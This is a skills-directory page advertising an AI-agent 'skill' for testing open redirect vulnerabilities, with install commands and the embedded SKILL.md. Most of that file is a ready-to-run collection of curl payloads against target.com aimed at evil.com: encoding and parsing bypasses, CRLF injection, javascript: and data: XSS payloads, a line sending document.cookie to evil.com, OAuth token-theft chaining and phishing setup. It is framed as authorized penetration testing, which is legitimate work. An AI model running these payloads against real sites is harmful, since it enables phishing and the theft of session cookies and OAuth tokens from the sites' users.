Skip to content
Skillpedia
Testing35k · #6224

testing-for-open-redirect-vulnerabilities

Teaches your AI agent to test code and catch bugs before users do and protect apps against attacks.

What it does

This tool helps find security flaws in websites that redirect users. It checks if the site can be tricked into sending the user to a malicious website, disguised as a trusted link.

When to use it

  • ✓When testing login or logout pages.
  • ✓When checking how sites handle return links after an action.
  • ✓When creating 'phishing' attack simulations.

Example of what to ask your AI

“Check if the website 'example.com' redirects to other sites without permission.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool analyzes the links the site uses to redirect people. It tries to use tricks to make the site send the user to a dangerous address, even if it shouldn't.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-open-redirect-vulnerabilities

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Testing for Open Redirect Vulnerabilities

When to Use

  • When testing login/logout flows that redirect users to specified URLs
  • During assessment of OAuth authorization endpoints with redirect_uri parameters
  • When auditing applications with URL parameters (next, url, redirect, return, goto, target)
  • During phishing simulation to chain open redirects with credential harvesting
  • When testing SSO implementations for redirect validation weaknesses

Prerequisites

  • Burp Suite or OWASP ZAP for intercepting redirect requests
  • Collection of open redirect bypass payloads
  • External domain or Burp Collaborator for redirect confirmation
  • Understanding of URL parsing and encoding schemes
  • Browser with developer tools for observing redirect chains
  • Knowledge of HTTP 301/302/303/307/308 redirect status codes

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Step 3 — Apply Validation Bypass Techniques

# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Step 4 — Test Path-Based Redirects

# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Step 5 — Chain with Other Vulnerabilities

# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Step 6 — Automate Open Redirect Testing

# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei

…
FAQ

What is an 'open redirect'?

It's a security vulnerability where a website redirects the user to an external link without verifying if the destination is safe. This can be used to trick users.

Do I need to know how to code to use this?

You don't need to know how to code, but understanding how web links work helps in using the tool more effectively.

What tools are needed?

Tools like Burp Suite or OWASP ZAP are useful for analyzing web traffic and identifying redirects.

Details

Original description by the author

Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6224
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills